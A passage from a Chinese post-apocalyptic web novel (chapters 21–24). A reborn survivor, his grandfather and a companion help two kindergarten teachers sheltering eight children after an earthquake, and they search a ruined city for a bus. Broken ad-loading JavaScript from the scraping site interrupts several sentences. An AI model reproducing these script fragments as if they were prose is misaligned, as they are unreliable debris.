整装待发,三人迎着微弱的天光一路向东。 从清晨到傍晚,路上一个人也没碰见。路边偶尔看到一些零零散散的建筑物,但走近一看,倒得倒,塌得塌,仅两三层高的民房都未能幸免,尽数沦为断壁残垣。 天彻底黑透之前,三人顶着一脑门汗穿过国道,终于离开了人迹罕至的荒郊野岭,正式进入城市范围。 城市与荒野似乎并无太大区别,不见街道繁华的灯光,不复往日的热闹喧嚣,不见住户行人,安静得像一座空城。 情况比预想中还要糟糕,三人沿着主干道渐渐深入城市,路上密密麻麻的废弃车辆让人无处下脚。沿途高楼大厦所剩无几,城市几乎被夷为平地,所过之处皆是一片废墟。 深入城市后陆陆续续遇到了一些幸存者,他们仿佛被抽干生命力的傀儡,无惧浓雾尘烟,机械地在废墟中翻找,连空气都弥漫着悲伤而绝望的气息。 赶了一天的路筋疲力尽,大家都想尽快找个地方休息。但和无头苍蝇似的在城里走了一个多小时,愣是连一块平整的空地都没找到。 兜兜转转又回到主干道,顾孟然累麻了,随手指向停在路中间的僵尸车,回头对梁昭和外公说道:“要不就这吧,这些车应该还能开,挑几辆装空间里,腾出来的地儿还能直接搭帐篷。” 想法倒是不错,孟高阳也赞同,不过…… 他四下环视一圈,咂咂嘴道:“周围还有不少人呢,虽说雾挡着看不见,但以防万一,还是尽量找个偏一点的地方,睡在大马路上始终不太安全。” “可是真的好热,我一身的汗,感觉都快热化了。”顾孟然哭丧着脸,抬手不断扇风试图驱走热气。 梁昭抬头看向顾孟然,温声提议:“要不我背你?” 顾孟然秒拒绝:“那倒不用。” “那就继续走,你应该也不想睡到半夜被人掀帐篷帘子吧?”梁昭撩起额间被汗水浸透的碎发,似笑非笑地看着顾孟然。 顾孟然猛地一顿,毫不犹豫地往前走:“走走走!” 停在路中间的车辆一眼望不尽头,打定主意挑几辆带走,顾孟然便掏出手电筒,如同逛车展一般,边走边瞅。 注意力被车辆吸引,全然不知危险降临。 顾孟然还在和外公有说有笑地商量挑哪辆车好,突然间,一声嘹亮的高呼穿透层层浓雾,回荡在幽寂的街道。 “——停下,别走了!快停下!” 急切的女声连呼带喊,顾孟然是个听劝的人,虽然不知道谁在喊,但他听到动静立刻停下步伐。 挪回手电筒,微弱的光线照亮路面,仅是往前方多看了一眼,顾孟然身体猛地一颤,鸡皮疙瘩瞬间爬满手臂。 浓雾遮挡的混凝土路面不再平整,宛如被巨斧暴力劈成两半,将近两米宽的裂缝悄无声息地横在路中间,再往前迈出两步便是深不见底的万丈深渊。 顾孟然愣在原地一声不吭,老爷子和梁昭不明情况,伸长脖子看了一眼,一颗心顿时提到嗓子眼。 “我嘞个亲娘欸,好险!”孟高阳吓得腿软,拍着胸口连连后退。 梁昭眸色微沉,屏住呼吸拉着顾孟然后退两步。 与地裂保持着一定的距离,顾孟然缓缓从震惊中回过神,他没有第一时间离开,将手电筒对准前方浑浊的浓雾,扯着嗓子大喊一声:“谢谢,谢谢你提醒我们!” 话音石沉大海,浓雾另一端并未给出回应。 顾孟然还不死心,过了几秒再次开口:“你好,我们也想过去对面,想问问从哪边可以过去?” 周遭一片寂静,呼吸清晰可闻。 猜测对方不愿露面,顾孟然再次道谢便与外公、梁昭一同掉头,准备离开。而就在这时,清脆的女声再度响起:“走你们右手边绕一绕。” 顾孟然会心一笑:“好的谢谢!” 地裂长达百米,三人沿着裂缝前行,绕了将近十分钟的路才成功走到对面。 多亏好心人提醒捡回一条命,听声音那人就在这附近,顾孟然知恩图报,还想和对方当面道个谢,为此他特意从空间里拿出一些面包、饼干、牛奶来当作谢礼。 裂缝两端大差不差,路面上皆是密密麻麻的车辆。打着手电筒找人无异于大海捞针,三人只能高声呼喊,期望那人给出回应。 不知是早已离开还是不愿露面,任凭三人喊破喉咙,安静的路面再无任何声响。 “算了吧。” 又累又热,孟高阳抹了把汗,气喘吁吁对两人道:“估计人家早就走了,别费劲儿了,明天还赶路呢,赶紧找个地方休息。” 汗水刺得眼睛生疼,顾孟然撩起衣摆擦擦脸,“行,那我们继续——” “嘭!” 疑似重物落地,一声闷响突然从左前方传来。 梁昭反应最快,当即从顾孟然手中抽走手电筒,快步迎着声源走去。 顾孟然与外公对视一眼,紧跟在梁昭身后。 距离不算远,用时不到一分钟,梁昭的手电筒对准了两辆汽车之间的夹缝中。 湿漉漉的地面横躺着一个白色油漆桶,桶内仍有透明液体在往外流,不用细看,一闻味道便知,桶里装的是汽油。 视线随光源移动,顾孟然紧张地屏住呼吸,虽然已经猜到了,但黑暗中猝不及防出现 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一个人影,吓得差点他心跳骤停。 一个扎着马尾的年轻女孩藏匿于汽车背后,手电筒扫过她的时候,她明显慌了一瞬,手中铁棍高高举起,好似一只应激的猫,完完全全呈防御姿态。 女孩用手中铁棍指着梁昭,双臂却颤抖得厉害。似乎知道自己气势不足,她瞪大了双眼,试图用洪亮的声音来呵退敌人:“站住!别过来,再过来我不客气了!” “小姐姐你别害怕,”顾孟然抓着梁昭的胳膊探出头,担心吓到女孩,他极力压低嗓音安抚道:“我们不是坏人,我们是从对面过来的,刚刚是你提醒我们的吗?” 女孩并未因此放松,目光愈发警惕,“我好心好意提醒你们,你们这是想干嘛?我身上没有吃的,也没有值钱的东西,你们赶紧走吧!” “姑娘,你真的误会了,我们只是路过,顺便来跟你道个谢。”孟高阳笑了笑,尽可能地让自己看起来友善一点。 为了增加这话的真实性,顾孟然赶忙将面包饼干拎起来,笑着对女孩说:“小姐姐你看,我们还拎着谢礼呢,真的不是坏人。” “叮铃哐——” 铁棍应声落地,女孩如释重负,倚着汽车长舒一口气。 “抱歉,地震过后有点乱,我、我……” 她的窘迫都写在脸上,顾孟然连连摆手安慰:“没事没事,今时不同往日,你一个女孩子出门在外,警惕点是对的。” 见她态度缓和,顾孟然将提前准备好的谢礼递过去。 震后资源匮乏,食物的重要性魏千兰当热能意识到。 对方知恩图报出手大方,的确不像是穷凶极恶之徒,她紧绷的神经渐渐放松,双手接过并诚恳道谢:“谢谢,我叫魏千兰。” “顾孟然,这是我外公孟高阳,这是我、我哥梁昭。”无视梁昭灼热的视线,顾孟然一本正经地介绍道。 一来一回,凝重的气氛随之变得轻松随意。 将三人仔细打量了一遍,魏千兰拎起倒在地上的油漆桶,轻声询问:“你们不是本地人吧?听口音不太像。” “嗯,我们是韶洲的。”顾孟然面不改色道。 韶洲离临淮倒是很近,魏千兰点点头,又问:“你们那儿情况怎么样?也没有救援吗?” “情况和你们这儿差不多,房屋尽数倒塌,死伤无数。我们就是没等到救援才来这儿的,还以为临淮有救援呢,结果……”顾孟然没说完,故作无奈地摇摇头。 救援,其实顾孟然最清楚不过。 上辈子,绝大部分城市最终都没能等到救援。浓雾高温天,飞机飞不了,汽车开不了,于地震中活下来的幸存者们再度沦为钢铁笼中困兽,想活命——只能自救。 魏千兰不知道他心中所想,听到这话抿唇沉默了一瞬,而后缓缓道:“这样啊,那你们打算留在这吗?” 留在这必死无疑,去往高海拔地区才有一线生机。 顾孟然看着魏千兰亮晶晶的眼睛,多少有些于心不忍,忍不住提议道:“我们不留在这,我们打算继续往上游走,去别的城市看看,你呢,要不要和我们一起?” 他难得的主动却惨遭拒绝,魏千兰笑着摇摇头:“不了,我不是一个人,我还有家人,暂时走不了。” 22. 第 22 章 * “家人?” 负责外交的顾孟然还没开口,老爷子忍不住插了句话:“那你家里人怎么不出来,让你一个小姑娘大晚——” 不等孟高阳说完,顾孟然一把捂住他的嘴。 这话说得多少有点不知人间疾苦! 特大地震啊,万一别人家里人受了重伤或人直接没了,说这话不就等于在人家伤口上撒盐嘛!太冒犯了。 顾孟然给外公递了个眼神,有些不好意思地朝魏千兰笑了笑,“抱歉,我外公随口一说,多有冒犯,你别介意。” “不是你想得那样。”魏千兰摆摆手,轻笑一声,“很幸运,我们都好好的,只是我们情况比较特殊,目前确实没有能力离开。” “方便具体说说吗?”顾孟然追问道。 魏千兰沉默了一瞬,眼底笑意渐渐淡去,然后很生硬地岔开话题:“刚才听你们说,你们在找地方休息?我们那边勉强还能住人,要不要过去将就一晚?” 这话一出,沉默的人变成了顾孟然。 人生地不熟的,陌生人的地盘……谁敢去? 女生热心肠且具有防备心,怎么看都不像心怀叵测之人,但知人知面不知心,刚认识就踏入别人的地盘未免太冒险了,毕竟谁也不知道,她“家”里会不会蹿出一群膀大腰圆的壮汉。 短短几秒,顾孟然思考了很多,被抢走物资事小,万一被噶了腰子……不行不行,这地儿去不了一点。 顾孟然正纠结该如何拒绝,梁昭好似猜到他心中所想,拍拍他的肩膀抢先开口:“好意心领了,我们有地方住。” 聪明人说话点到为止,魏千兰若有所思地点点头,拎着顾孟然送的食物和油漆桶向他们招招手,“时间不早了,那我就先走了,你们注意安全,有缘再见。” “好的拜拜,你也注意安全。” “慢点啊姑娘!” …… 一般来说,有缘再见意味着再也不见,但顾孟然怎么也没想到,他们还真有“缘”,而且“缘分”来得这么快。 和魏千兰分开后,三人在不远处岔路口找了块空地将帐篷搭起来。 赶一天路累得半死,做饭是没力气做了,简单吃了点速食,回空间洗了个澡,再将狗子喂饱,三人便往充气床垫一躺,吹着连接户外电源的电风扇早早睡了过去。 体力消耗过度,顾孟然几乎挨着枕头就睡着了。 本以为能一觉睡到自然醒,不料他迷迷糊糊刚与周公见上面,一只手臂悄无声息地从身侧探出来,握着他的肩膀用力一带。 下巴撞上结实的胸膛,顾孟然瞌睡顿时醒了大半。他艰难撑开眼,微光映衬下,身旁那人被汗水浸润的脖颈毫无遮挡地呈现在眼前。 性感的喉结格外晃眼,顾孟然微微一愣,浑然忘了问梁昭为什么吵醒他。 似乎也不太需要问,梁昭捏着他的肩膀轻轻“嘘”了一声,下一瞬,帐篷门口忽然传来一阵窸窸窣窣的脚步声。 卧槽,还真有人半夜来掀门帘? 顾孟然心头一惊,屏住呼吸从空间里掏出一把便携式油锯。但没等他做出下一步动作,门帘微晃,慌乱而又带着几分熟悉的女声透过门帘飘进来:“顾孟然,是你们吗?能不能帮帮忙,求你们了!” “魏千兰?” “是、是我!” 两分钟后,黑雾笼罩的空地重新亮起了灯,本应在帐篷内休息的三人围坐在桌前,旁边还有一张凳子空着,魏千兰满脸慌乱、局促不安地站在一旁。 已是深夜,疲倦宛如散不去的黑雾,公平地笼罩在所有人头顶。 气氛过于微妙,孟高阳打了个呵欠,朝魏千兰友善地笑了笑,“又见面了,还真是有缘啊姑娘。” “这应该不叫有缘吧?你跟踪我们?” 不再是初见时的友善随和,顾孟然紧盯着魏千兰,眼中警惕与防备不加掩饰。 而梁昭看似漫不经心,垂在桌下的右手却紧握着油锯。 态度一百八十度大转弯,让人一时半会儿难以适应。 情况紧急,魏千兰根本没空在意,急急忙忙与三人解释道:“没有,我真的没有跟踪你们,我就住在这附近,想来碰碰运气的,没想到真找到了你们的帐篷。” 见她神情不像在说谎,看在她好心提醒的份上,顾孟然抬手揉了揉胀痛的太阳穴,暂时放下不满询问道:“好吧,那你找我们有什么事吗?” “帮忙找药!”魏千兰直截了当道:“我们那儿有个小孩热中暑了,情况很不妙,我们没有药,人手也不够,再拖下去怕是……怕是要不行了。” “多大的小孩?”孟高阳挺直了后背,急忙追问。 “五六岁。” 梁昭心生疑惑,多问了一嘴:“五六岁?你家的小孩你不知道具体年龄?” “不是我家的,是、是……”魏千兰说着说着埋头在牛仔裤兜里翻找起来,很快,她从兜里掏出一个红本本递给顾孟然。 顾孟然没有接,借着微弱的灯光随意扫了一眼,脸色骤变,噌地一下站起身,“我们有药,走吧,我们跟你一起去看看。” 穿过碎砖瓦砾堆积成的废墟,三人在魏千兰的带领下,来到一片由低矮建筑围聚成的院子。 房屋在强震中坍塌,建筑残骸四处散落,“翻山越岭”走进才得以看清,仍有一栋两层小楼矗立在乱石堆中。 顾孟然以为人住在楼里,还想着要不要提醒一下,结果魏千兰带着他们越过小楼兜兜转转,最后停在一栋已经塌了大半、完美融入废墟的平房跟前。 “就是这了,稍等一下。” 棕红色防盗门紧锁,墙壁爬满裂纹,魏千兰抬手敲门,一敲一顿,仿佛对暗号一般,接连停顿了三次才开始正常敲门。 约莫过了两分钟,只听“咔哒”一声脆响,防盗门开了一条缝,一个与魏千兰年纪相仿的年轻女孩出现在门背后。 看清门外众人,女孩先是一愣,下意识便要关门。 “哎周琴,是我!”魏千兰大声道。 魏千兰一出声,关到一半的门不动了,随即缓缓打开半米宽的缝,女孩探出半个身子警惕地打量顾孟然等人。 快速打量一遍,周琴将目光转向魏千兰,双手紧张地抓着防盗门,怯生生地问:“他们是谁?药呢,找到了吗?” 顶着高温跑了个来回,魏千兰汗如雨下,喘着粗气道:“那会儿跟你说过的,送牛奶和面包给我们的人,不是坏人。药找到了,他们、他们身上带了药。” “真的?你们有祛暑的药?”周琴眼睛瞬间亮了,眼巴巴望向站在魏千兰旁边的顾孟然。 顾孟然“嗯”了一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,当即将双肩包反背在胸前,拉开拉链翻找,“六一散、藿香正气水、暑热感冒颗粒,这些都有,我先——” “先进来吧。”周琴不再犹豫,小心翼翼地将门打开,压低嗓音对三人说道:“进来歇会儿,但是麻烦你们动作小一点。” 顾孟然心领神会,回头和外公、梁昭招招手,放轻手脚走进屋内。 早有心理准备,可真当走进屋子里的那一刻,顾孟然还是真真切切地震惊了一把。 房间面积很大,好比一间教室。墙上贴着五颜六色的儿童装饰画、字母表,角落摆放着奇形怪状的积木、玩具。 一间充满活力且色彩缤纷的房间。 靠门这一侧地板上铺着厚厚的拼接地垫,垫子上散落着可爱的毛绒玩具,而黑暗中如山丘般连绵起伏的小鼓包,一群小朋友躺成一排,乖乖团在地垫上睡觉。 是的没错,不是一个两个,而是一群,顾孟然粗略数了一下,地垫上至少躺了七八个小孩。 就算是看过魏千兰的教师资格证,顾孟然仍被吓了一跳。跟在他身后的梁昭倒是反应平平,淡淡一瞥,神情毫无变化。 而最后进门的老爷子瞅见这一幕,直接当场石化。 过了好几秒,他跟见了鬼似的,一脸惊恐,指着小朋友难以置信地“这”了半天,艰难问道:“咋这么多孩子,你们、你们两个姑娘救回来的?” 饶是极度震惊,老爷子依旧压低了嗓音。 魏千兰感激地和他笑了笑,轻声解释道:“爷爷,这里是幼儿园,阳光幼儿园,我和周琴是这里的老师,他们都是我们班的学生。” “幼儿园……怪不得!孟然,快把药拿给两位老师。” “哦哦,好。” 中暑的孩子是睡在窗边的小胖墩,他全身大量出汗,面色潮红,还发起了高烧,状况很不妙。 顾孟然他们没有照顾小孩的经验,担心人多把热气带过去,没敢贸然上前添乱,坐在一旁远远看着,缺什么递什么。 两位老师经验丰富,魏千兰蹲在旁边给小胖擦汗,顺便摇扇子降温。周琴则从顾孟然给的药物中挑选出几样,按剂量喂给小胖。 喂药喂水,周琴又将小胖扶坐起来,用湿毛巾给他擦拭全身。 来回折腾了将近半个小时,两位老师热得汗流浃背,而迷迷糊糊就快要失去意识的小胖渐渐清醒,虽然烧还没有退下去,但人似乎没那么难受了,肉眼可见地精神了许多。 顾孟然皱眉看着她们忙活,心里很不是滋味。 纵使他上辈子遇见的好人仅梁昭一个,但不可否认,在这纷繁复杂的末世中,人性的光辉仍在悄无声息地绽放。 背包没白拿,顾孟然再次拉开拉链在背包中翻找,不一会儿,两盒冰凉贴、十个轻便小巧的挂脖风扇分别放在身前。 老爷子看到挂脖风扇眼前一亮,凑到顾孟然耳边小声埋怨:“不是,你小子有这种好东西怎么不早拿出来?你外公今天差点快热死了好吗!” “现在还不是用这个的时候,放心吧还有。”顾孟然说完拍拍裤腿起身,抱着冰凉贴和挂脖风扇走向两位老师。 “为什么啊?这都快45℃了!” 老爷子的声音追在身后,顾孟然无奈摇摇头。 为什么?当然是因为45℃对之后来说,根本不算热! 23. 第 23 章 * “谢谢!谢谢你们的药,谢谢你们的风扇和冰凉贴。今天多亏了你们孩子们才能睡个好觉,我、我替他们谢谢你们。” 浓雾笼罩的院子昏天暗地,唯独周琴的眼睛漾着水光。 小小的个子,哽咽的声音,她与魏千兰并肩而立,专注而真诚地看着顾孟然等人,而后弯腰低头,郑重鞠躬。 “别别别,别整这一出!” 腰还没弯下去,一双手突然撑住她们的肩膀。 孟高阳眉头拧得能夹死一只蚊子,待两人重新站直,他长舒一口气,急吼吼道:“现在年轻人都怎么回事儿,道个谢行这么大的礼。” 魏千兰:“爷爷,你们帮了大忙,这是应——” “应什么应!姑娘啊,我们不过是举手之劳,在这个节骨眼儿照顾这么多孩子,你们才是大仁大义的好人呐!”孟高阳打心眼里欣赏这俩姑娘,心里更是感动得不行,说着说着眼眶就红了。 周琴强忍泪水吸了吸鼻子,“爷爷你说笑了,我们也不算什么大仁大义,只是、只是于心不忍……” “好姑娘,都是好姑娘啊!” “你们学校一共多少孩子?他们的父母没来接吗?”顾孟然没外公那么感性,一心想着了解情况,毫不犹豫地直切正题。 周琴肩膀颤抖得厉害,一时间说不出话。 魏千兰拍拍她的手臂,轻轻叹了口气,“我们学校规模不大,连同幼师学生在内不超过100人。黄雾爆发后,小班和中班都停课了,只有我们大班还在正常上课。” “当然了,也有很多家长不放心,给孩子请假了,地震那天来上课的只有十四个孩子。地震来得很快也很猛,教学楼都塌了,好在我们当时在活动室,有幸逃过一劫。” 魏千兰顺手往左前方一指,乌漆麻黑的什么也看不见。 “十四个,”老爷子透过窗户看了眼黑洞洞的活动室,如自言自语般喃喃道:“那其他孩子……” 魏千兰:“没事,都没事。地震之后有六个孩子陆陆续续被家长接走了,剩下这八个孩子的家长一直没来,估计……” 话没有说完,但大家都明白。 没有人会放弃自己的至亲骨肉,顾德诚除外,死人除外。 沉重的话题让院子安静了一瞬,压抑无声蔓延开。 干站着都不停出汗,顾孟然擦了下额头,垂眸看着掌心沾上的汗水,轻声问:“那你们之后呢,打算一直留在这?” “不知道。”魏千兰摇摇头,眼中茫然尽显。 “过来的时候你们应该看见了,园里还有一栋房子没塌,那是后面新建的食堂。我和周琴检查了一下,房子没出大问题,里面还有很多米面油,足够我们撑一段时间。 我们原本打算带着孩子们住进去的,但那些来接孩子的家长和园里阿姨给我们上了一课,原来房子没塌,人心早塌了。” 周琴再也忍不住了,泪珠大颗大颗地往下掉。 她固执地不肯让别人看见,抬手蒙住脸,声泪俱下:“他们就像土匪进村了一样,在楼里翻找,看到什么拿什么!他们根本不管孩子们的死活,把我们的食物全部拿走。” 老爷子气得破口大骂:“畜生!恩将仇报的畜生!” “那你们这些天怎么过的?”顾孟然问。 魏千兰:“经常有人过来找东西,食堂没办法住我们就一直躲在活动室。白天我们一个看孩子,一个去废墟找吃的,还能勉强维持生活。” “但从前天夜里开始,温度一下子上来了,热得不行。园里倒是有发电机,我们费老大劲儿搬过来、安装好,结果才吹了一天空调,发电机就坏了。” 周琴逐渐平复心情,揉了揉红肿的眼睛感叹道:“我们也不知道该怎么办,断电半天梓轩就中暑了,这温度再不降下去,孩子们根本扛不住。” “才一天就坏了?”顾孟然眉头一挑,“发电机是柴油还是汽油?你们加的什么油?” 魏千兰眼底闪过一丝迟疑,“发电机还分柴油汽油?我们、我们加的都是汽油,从路上那些汽车里放出来的。” 不常接触发电机确实会分不清,顾孟然若有所思地捏着下巴,“估计是加错油了。” “你们懂发电机?能帮忙修一下吗?”周琴追问道。 略微红肿的眼睛盛满期待,顾孟然避开视线,抿着嘴唇陷入沉思。 修倒是能修,再不济他还能分给她们一台全新的发电机,但问题是,发电机和空调又能撑多久?温度一天比一天高,普通空调在那种极端高温天起不了任何作用。 而且就算她们侥幸撑过高温天,临淮市始终位于黄江下游地区,用不了多久,这里将沦为一片汪洋。 十个成年人或许还能视若无睹,可八个孩子,两个女生……顾孟然头有点疼。 放任好人燃尽热血遗憾赴死,顾孟然自知做不到。于是短暂的思索过后,他抬头看向两位伟大的老师,颇为凝重道:“离开吧,一直留在这里也不是办法,两个人干活十张嘴吃饭,如果等不到救援你们能撑多久?” 两人闻言纷纷一愣,沉默了将近一分钟,周琴率先开口:“去没有地震的城市吗?可是雾这么大,我们又带着一群孩子,怎么走?” 没有地震?听到这话顾孟然才意识到,震后通讯中断,消息闭塞,不是所有人都知道,这场灾难是全球性的。 没办法明说,顾孟然拐弯抹角地提醒:“差不多吧,别的城市可能会有救援、有基地,出去找一找好过坐以待毙。至于怎么走……” 顾孟然想了想,“我们现在打算去宜南,不介意的话可以一起走,我们有车有食物,路上还能帮忙照顾照顾小朋友。” “宜南?这也太远了。”周琴一听这话开始犹豫了。 “你们的目的地不一定是宜南,路上我们会经过很多地方,遇到基地或救援人员你们可以随时停下来。”顾孟然耐心解释。 有车有食物,车上必然有空调,魏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 千兰听着很心动,认真追问细节:“这么大的雾,车怎么开?你们的燃油充足吗?食物和水够所有人?” 顾孟然逐一解答:“我们有办法从韶洲过来就有办法离开,这个你们不用担心。燃油、食物、水、生活用品这些我们准备得很多,量大管够。” 灾后人人自危,自顾不暇,遇到一群愿意伸出援手的热心人有多不容易,魏千兰心知肚明。机会只有一次,一旦这群人离开了,等不到救援他们将会被困死在临淮。 走或是不走? 周琴面露迟疑,明显还在犹豫,魏千兰没办法擅自决定,认真考虑后对顾孟然说道:“你们什么时候走?让我们商量一下行吗?” 凌晨三点,顾孟然看了眼时间道:“傍晚之前吧。你们先商量,商量好来营地找我们,如果不走的话就不用特意跑一趟了,等不到我们自会离开。” “走不走我们都会来,谢谢,谢谢你们。” * 离开阳光幼儿园,三人拖着疲惫的身躯往回走。 翻过满目疮痍的废墟,幼儿园消失在身后浓雾中,老爷子立马加快步伐追上顾孟然,扭着他问:“小子,你的车在哪呢?” 路中间到处都是汽车,顾孟然随手一指,笑着看向外公,“诺,看中哪辆挑哪辆,别跟我客气。” “说正事呢,没个正形!”老爷子没好气地瞪了他一眼,“赶紧交代,你到底怎么打算的?一群五六岁的孩子啊,这、这咋带?要不直接把他们收进空间带上走?” “不,不行。” 顾孟然还没说话,梁昭果断否决老爷子的提议:“孟爷爷,温室都没了,温室的花朵必须直面暴风雨,主动适应环境。孟然不能保护他们一辈子,总要面对现实的。” 顾孟然非常赞同这话,神情凝重地点点头:“对。而且非紧急情况,空间绝不能暴露。” 浓雾洪水,车不能开船也不能开,似乎将孩子们收进空间才是最好的选择。但空间是他们最后的底牌,是顾孟然保障家人安全的底气,多一个人知道就多一重风险,他不能冒这个险。 “啧,这也不行那也不行,那你们倒是说说怎么解决?”老爷子急得抓耳挠腮,“一个两个跟打哑谜似的,万一人家下午直接过来了,咱们十多个人一起走路吗?” 顾孟然:“外公你先别急,我这不是正在想办法嘛。” 老爷子一愣,“现想呐?” “对啊。” “你小子!刚才说得那么笃定,我还以为你早有打算,结果……这可咋整?” 没有质问没有质疑,似乎所有人都默认他们本应带着那群孩子一起离开,顾孟然喜欢这种与家人齐心的感觉。 至于怎么解决……其实不需要他们来解决。 顾孟然依稀记得,浓雾与高温并非同时存在。 气温急剧升高,浓雾渐渐散去,但这可不是好消息,没了雾气遮挡,他们将直面炎炎烈日,切身体会有史以来最炎热的夏天。 24. 第 24 章 * 回帐篷补了一觉,上午十点左右,顾孟然与梁昭早早起床,随便吃了点东西填饱肚子,便背着背包准备出门。 城市不比人迹罕见的荒野,顾孟然其实不太放心外公一个人留在营地。但天太热了,老爷子昨天热得睡不着,今儿顶着俩黑眼圈跟熬夜跑了十里地似的,怎么看怎么憔悴。 顾孟然于心不忍,只能让外公留在营地休息,为此留下一把油锯和一瓶防狼喷雾,还把为数不多的挂脖风扇拿了出来,一人分上一把。 微风轻拂脖颈,带来丝丝缕缕的凉意。 身处热浪包裹中,这点微风的效果只能说是聊胜于无。 热,难以忍受的热,顶着高温艰难前行,从岔路口走到车水马龙的主干道,顾孟然和梁昭身上的T恤都快湿透了。 出行需要交通工具,出来这一趟主要是为了找车,他们需要一辆有空调、至少能载十五个人、座椅不能太硬、能坐能睡觉…… 好吧。 其实就是大巴车,一辆能满足所有条件的大巴车。 市区鲜少有大巴车,一路上公交车倒是见到不少,大巴车愣是一辆没见着。燥热的天气让顾孟然有了公交车也能行的错觉,但透过车窗看着那硬邦邦的座椅,屁股隐隐作痛。 大面积坍塌的楼宇让人分不清东南西北,面目全非的城市,本地人出来都会迷路,更何况人生地不熟的外地人。 顾孟然也想过去找找汽车站,但考虑到留在营地的外公,算了,不敢走太远。他们尽量避免岔路,沿着主干道缓慢前行。 功夫不负有心人,走了将近一两个小时,两人累得气喘吁吁,终于在一座坍塌的高架桥附近,找到一辆完好无损的大巴车。 蓝白相间的中型旅游大巴,车身长而不高,满载35人。随意停靠在路边的汽车并未落锁,明显是地震发生时急着逃命,甚至连车门都没有关。 车身检查完毕,两人打着强光手电筒从前门进入车厢。车能不能用不光看外表,主要还得看能不能成功发动。 门窗没关,车厢里弥漫着厚重的雾气,两人借着微光一路摸索艰难走到驾驶台前,由梁昭坐进驾驶位尝试发动。 顾孟然对大巴一窍不通,帮不上忙,反正闲着也是闲着,他便举着手电筒往车厢内走,顺便检查车厢以防隐患。 35座大巴,除了司机的驾驶位,余下34个座位在逼仄的车厢内显得尤为拥挤。过道狭窄,顾孟然侧身往里走,手中光源来回扫动,竟然还在座位上看到好些私人物品。 座位上方的行李架同样塞得满满当当,行李箱、背包、编织袋……几乎一件都没来得及带走。 顾孟然忍不住想,车上的游客还活着吗?现在物资这么紧缺,如果还活着,他们为什么不回来取走自己的行李? “砰!” 脚尖踢到一个硬物,顾孟然恍然回过神,他以为谁将行李放在了过道,下意识挪回光源低头瞅了一眼。 然而就是这随意的一眼,顾孟然胃里一阵翻江倒海,差点把早饭呕出来。 一具血肉模糊的男尸竖躺在过道里,他的双腿还卡在座椅空隙中,拧得跟麻花似的,身体则以一种极为扭曲的姿态倒在过道里。 浅蓝色衬衫印着凌乱的脚印,很显然,他应该是在混乱中被人硬生生踩踏致死。袒露在外的皮肤有多处伤口,头和脸亦未能幸免。 经过高温发酵,尸体高度腐烂。肚子鼓胀如皮球,溃烂融化的皮肤偶有起伏,隐隐有尸虫蠕动,浑浊的黏液沿着过道蔓延,逼仄的车厢无一幸免。 防护面罩仿佛瞬间失效,浓烈的腐臭无孔不入,源源不断地涌入鼻腔,顾孟然双腿一软,险些一屁股坐在地上。 “怎么了?” 捣鼓了半天,大巴车成功发动,梁昭刚想叫顾孟然来看,隐约听到身后传来奇怪的动静。 迟迟没有等到回答,他连忙起身前去车厢查看,但没走出几步,顾孟然迎面朝他跑来,抓着他的手臂踉踉跄跄冲出车门。 一口气冲出去近百米,直到汽车融入浓雾彻底消失不见,顾孟然摘下防护面罩往路边一蹲,忍不住干呕起来。 “呕——呕,咳咳咳……” 受了惊吓又持续干呕,顾孟然脸色惨白。梁昭眉头紧拧,飞快地从包里拿出一瓶水,拧开瓶盖递给他。 顾孟然接了但没有喝,梁昭摘下面罩一脸担忧地蹲在他身旁,伸手越过肩膀半搂着他,轻轻拍打他的后背,“没事的,没事了。” 不用问,空气中若隐若现的尸臭早已说明一切。 顾孟然难受得不行,像是有人在抠他的嗓子一样,真就忍不住,忍不住地干呕。吐又吐不出东西,这让他整个人非常难受,而且那股味道非常持久,就像尸体趴在他背上—— 等等,顾孟然猛地一顿,低头看向自己的鞋子。 果不其然,原本只是有点脏的运动鞋变得油亮亮的,尤其是鞋头,被一层淡黄色透明黏液所包裹。 瞅见这一幕,顾孟然竟奇迹般地停止了干呕。他火急火燎地从空间里拿出一双干净鞋子,在梁昭的帮助下将鞋子换下来,丢得远远的。 活了两辈子,他不是没见过尸体,但他又没在殡仪馆上过班,心理素质真没那么强。 高度腐烂的尸体,不论见多少次都会令人不安。 咕嘟咕嘟灌下大半瓶水,顾孟然用剩下半瓶洗了个手,顺便洗了把脸。驱走黏腻的热气,脖间风扇传来稀薄的凉意,顾孟然终于重获新生。 过分苍白的脸色难掩憔悴,顾孟然起身与梁昭招招手,重新戴上防护面罩,“走吧,那辆车要不了了,抓紧时间重新找。” 他说完抬脚就想走,手腕突然被一把捉住。 顾孟然回过头,见梁昭颇为凝重地看着他,深邃的眸子蕴藏着化不开的愁思。 对视片刻,梁昭垂眸错开视线,同时松开顾孟然的手,温声道:“我们走得太久了,孟爷爷一个人留在营地不安全,你先回去,回去营地看看,车我去找。” 这人真是……和上辈子一模一样啊! 估计猜到他在车里看到什么了,梁昭很担心他,但这人总是这样,不会让他没面子,不会大大方方地关心,只会拐弯抹角地让他远离危险。 顾孟然早已不是当年的顾孟然,他轻笑一声,一口应下:“行啊,正好我也累了。不过找到车你怎么带回来?扛回来还是顶着浓雾开回来?” 梁昭嘴唇紧抿,认真思索后轻声道:“我可以记住位置再回来找你。” “这么热的天,来回跑不累吗?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不累。” “好吧,那我就先回去了,拜拜!”顾孟然边说边往回走。 脚步声一直在,走出几米顾孟然倏地回过头,见梁昭寸步不离地跟在身后,他扑哧一笑,“干嘛,后悔了?” “没有。”梁昭很认真地看着他,“先送你回去。” 一阵热浪袭来,黏稠的热意好似甜滋滋的蜂蜜,顾孟然心尖儿微微一颤,再没有逗弄梁昭的心思,掉头走向另一个方向。 “开玩笑呢,我才不要回去。我能走能跳,可以和你一起找车,也可以和你共同进退。梁昭,现在的我……” 不再是你的累赘。 * 下午四点半,顾孟然和梁昭安全抵达营地。 孟高阳等候已久,两人刚刚走进帐篷,背包都还没来得及放下,老爷子急吼吼地带来消息:“魏老师来过了,她们商量好了——走,和我们一起走!” 有了这句话,今天的努力不算白费。 